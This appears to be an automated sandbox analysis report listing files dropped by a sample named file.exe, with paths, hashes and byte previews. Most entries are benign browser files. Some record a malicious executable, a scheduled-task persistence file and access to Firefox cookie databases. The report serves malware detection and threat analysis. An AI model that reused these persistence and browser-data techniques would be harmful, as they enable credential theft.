SHA1:	063554FEEB58C4DA326AB88BAEA873F5888F3547
SHA-256:	1D39935706BF98B73C42E745E9A77C91DAD976CB00BEB3877CEE6A87C1F5B7E4
SHA-512:	A2DCF8017F0CFCB42749E086A2815D187C7551750D17B35534177AAE2A6FB440D9CAD0A0CBE544875052EA6A89B8FD92FDB8B038D041517C510B55E3AB668C56
Malicious:	false
Preview:	L..................F.@.. ...$+.,......<y.9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IrY.c....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY.c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY.c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............=......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 11:29:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.987884989963235
Encrypted:	false
SSDEEP:	48:8Z+0dqITKMrsHtidAKZdA1leh/iZUkAQkqehQy+2:80bIWkB9Q5y
MD5:	6E3B67A7EF80E693F6B133DE0FBE3997
SHA1:	B7203F6E7AB2C8A2B9B01B0E13EC94730810DDFA
SHA-256:	7E10102870E3A0258423EC7A3C518A21F29ACB765A0CABF443868A5FBB829182
SHA-512:	A2C0D4DFF91B4DBA4D7196D7E7234D0DFCD109691C8B2EEA4975EAC9A5927D3073553F1124CF4EAE027C0F89CF03FFB661CBF478811655FA7F2873CBF3EA7F0E
Malicious:	false
Preview:	L..................F.@.. ...$+.,......(y.9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IrY.c....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY.c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY.c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............=......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0009483883497525
Encrypted:	false
SSDEEP:	48:8y0dqITKMrbHtidAKZdA14t5eh7sFiZUkmgqeh7suy+BX:8ybIWk4nsy
MD5:	7AF4808639C018084319223E332EDB4B
SHA1:	4BB1F6695AD7C0D4FBF436F0C44D6C14F6221EC5
SHA-256:	183F9815FB40E0B3CD772A221C07D3C8D81C103517EDB6AB3C70250B6EC239D6
SHA-512:	EF1CF6977772071E99C0C6176341A1604B7FE0183D09F51460013D0F493725644BAB59E4F52F7CCC43C291FEFF85B799CA845144DC744B729904806B88E7F624
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IrY.c....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY.c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY.c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............=......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 11:29:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9838258545205965
Encrypted:	false
SSDEEP:	48:820dqITKMrsHtidAKZdA16ehDiZUkwqehUy+R:82bIWky2y
MD5:	B4A8F47E5F293186D45D941249518088
SHA1:	568B462D4D184C023EABD5CDA0571D1C0862193B
SHA-256:	15EF3F9638771E6FEBCF2306099C686B099908792AA519A71940FB907382E434
SHA-512:	B9D281FEB14FA2033566F9E71DA771E93C8AC2D2030EC1C4A1A368480CF7063960982C0F0040B0BADE723E86DC16008A69AA7C44655172D0502003F50983F569
Malicious:	false
Preview:	L..................F.@.. ...$+.,....in.y.9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IrY.c....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY.c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY.c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............=......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 11:29:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.974440398953994
Encrypted:	false
SSDEEP:	48:8X0dqITKMrsHtidAKZdA1UehBiZUk1W1qehqy+C:8XbIWkC9Ky
MD5:	9B0B1CAD0D30954BED3D3CA5F4407360
SHA1:	4648D85C4FAD8E72C2DEFBED0438AB1FCCA53B5B
SHA-256:	3EB0F3D5D22EA5BDFD437728BE5D2D3DB772CE938942E3EEC87B538CA099DCF7
SHA-512:	F5626AAD980348C6427AB41C7E9201B6C24AFC6816B858FE6DC979A92FE6B6C64EB95DC46EAF58F83833CC577E0C17E8499CC78F9B9A5CB7752B0FB4392D3D76
Malicious:	false
Preview:	L..................F.@.. ...$+.,....H.2y.9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IrY.c....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY.c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY.c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............=......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 11:29:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.983887620991797
Encrypted:	false
SSDEEP:	48:8L+0dqITKMrsHtidAKZdA1duTrehOuTbbiZUk5OjqehOuTbsy+yT+:8KbIWkDTYTbxWOvTbsy7T
MD5:	4A92DD76562BA3D9C933FA4B0EF87C75
SHA1:	278337F259B99397F3FB5E85236B4EE63920A0A4
SHA-256:	A29FBB1EE7964CCB67AF2720EDA4F2AEE62C11FFEE6DCE3A0F6915D7F053F649
SHA-512:	A8F00977B74AE23D6E5BE688A18C5CBEE0011EAE2215212A82AD93B90F453DBDDFF3F165A7C98A24CB7F8CA555FD05BEB926DBF1686AC0C079E6E2ED6B463AC2
Malicious:	false
Preview:	L..................F.@.. ...$+.,....r..y.9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IrY.c....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VrY.c....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VrY.c....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VrY.c..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VrY.c...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............=......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	10221
Entropy (8bit):	5.497892970884208
Encrypted:	false
SSDEEP:	192:NzKneRdkYbBp6znmUzaX/6aRMKWPzDNBw8MK9mSl:Nz0eUmUtomrwuw0
MD5:	40D4A3679515F984C1B7E5EC231319BE
SHA1:	01B9DAA353BC5153B0A56DA4F4F78744D79C61D4
SHA-256:	F6EA914C4A64B8215F9C81EECC549ED623E141E04FA10CD0F7063E0BAFFCD29F
SHA-512:	DD2B31BA51CD1FFB951F01AD694B34C1DA43A3F72A67D40A1721B58A0A8AEB33E5C729D08151F589C71EB92030734EF8E80FBA8AE670EAB216B889CDE1D79662
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	10221
Entropy (8bit):	5.497892970884208
Encrypted:	false
SSDEEP:	192:NzKneRdkYbBp6znmUzaX/6aRMKWPzDNBw8MK9mSl:Nz0eUmUtomrwuw0
MD5:	40D4A3679515F984C1B7E5EC231319BE
SHA1:	01B9DAA353BC5153B0A56DA4F4F78744D79C61D4
SHA-256:	F6EA914C4A64B8215F9C81EECC549ED623E141E04FA10CD0F7063E0BAFFCD29F
SHA-512:	DD2B31BA51CD1FFB951F01AD694B34C1DA43A3F72A67D40A1721B58A0A8AEB33E5C729D08151F589C71EB92030734EF8E80FBA8AE670EAB216B889CDE1D79662
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\DocumentsKECBFBAEBK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911808
Entropy (8bit):	7.947162027271207
Encrypted:	false
SSDEEP:	49152:yg7LeACmo2vX5wIPRbE9nszc+scOK5UNXWi+Y3jA:j/amNpwIP5y+svm7
MD5:	B514F48E476F41B3142900C137D2DEDD
SHA1:	1B2657D67C8EB5BDD022A371572FAF9C654778B0
SHA-256:	85AF35B6229861EC0BB595BCAAC40A68E18984BE9DA7B96FA38BA3F80AB6602B
SHA-512:	EFA5A44F9961B449EC76EE0460348F9A9E2A678A23671F7DD4FAB0DC703CBBDACEBB637278C0F872EB001F2B66ED1BA6502CEC62D7E3CEE7CF0619268F56952B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L......K....@.................................W...k.......H...................8.K..............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...tgzacnml......1.....................@...senxdaim......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsKECBFBAEBK.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4346877821431274
Encrypted:	false
SSDEEP:	6:5zZTxX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lB3llqt0:5zZTN7BQ1CGAFBZgtVB3yt0
MD5:	AC419B1FD39E1EA78BA48CA4D0DC903F
SHA1:	E97BECC46B6F7950D1BAEB8C5A4191B826C32F13
SHA-256:	539AFE389F8186E0BAA4A9B34B7A0C987FBEFB4A78166AF33CFA096B3249032C
SHA-512:	2EE7ACD4B57E2D81B2D70D9324C19E6FA6387FC6AF9B649BD5534200E81EA0E8194EACA634DC5B0F4EE2A60568C7FF73AD514C5485674755B0EEBF821AA9B164
Malicious:	false
Preview:	........<..G....L..6F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3205)
Category:	downloaded
Size (bytes):	3210
Entropy (8bit):	5.833949665380581
Encrypted:	false
SSDEEP:	96:QnSDlipGGV3SmkBzkN8YTwO494UYCPNz0WYUN9UAQffffQo:M0UG0JakFkOrCPuC9UAi
MD5:	5347F97DE19D7423FE10555D5B29D3CA
SHA1:	1870869A39D15215410148DA67049A7DE785FF31
SHA-256:	D967DECAEF9F1D1D8269E27E8B5B7C1FEA6B8B73F17483E20071AF90E9D3B92B
SHA-512:	CFCA8030ADBFABF8BDEFDB8A6A29D792E09276241EE9B8C67F8242FCD742C2E620929D2B0CD7AA50677E94F2158D8AF2E6F7002F6835951BE4C2E88B9360F70B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["wordle today november 18","penn state vs drexel wrestling","spacex stock tender offer","earthquakes","cobra kai season 6","san francisco 49ers","stock market","hannah kobayashi missing"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wNnJueRINRm9vdGJhbGwgdGVhbTKqDWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBbUNBTUFBQUJER20yckFBQUE4MUJNVkVYLy8vK3FBQUFBQUFDdUFBQ3hBQUJmQUFCMUFBRDQrZm1sQUFEazVPUjlBQUIwZW5xcXFxclkyTmk2b0dHQkFBQzBuMkhyNit2ZTN0NlJrWkdUQUFDZEFBQ2xqVmExbTE0d0FBQ3psRnAxZFhWZVpXV0Nnb0psWldXaW9xS3pYamtiR3h0c0FBQXNQeitzT3lTc1F5bUlBQUJZQUFDcUZ3NkxkMGhNVEV5MnRyWitiRUxIeDhjN096ME1EeE1zS1JWR1FDWldUaTlnVnpVTERBUzNnMUMxZFVlMGFrQzVqMWNjR3c0b0l4V3RLeG8zTVI1NFcxdUhmWDFoRXhOOWNIQmNHaHB2WVR0bVFFQldLU2xOQUFBVkFBQmtLaXBpVlZWQVRVMDhBQUF1TGk0ZUFBQlZNakp

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435522735733996
Encrypted:	false
SSDEEP:	3072:f2kPdsBJT7bKwkztS6STFSz1nrmxSnXYK02i6o:fNdUW5c5Sz1nKxSnoK08o
MD5:	2BBE486DBCB3F0B4CAF9C75EA6F36C52
SHA1:	20AE41F2A38C5A23A0B4E38A9F97D4A4F4EFF5B2
SHA-256:	0E722AF925118D079520527CB71A48139325DB33D684CC599D75A016ED0C6B38
SHA-512:	FDC7282D6420F6D823CB4DD02292C0FBF24AA2D1E4F546CC9AF132F6592AA9156C52187D4F99C2585088668603F78E1B3CC116AB830FAB01D3C9C8D81E00FFF9
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
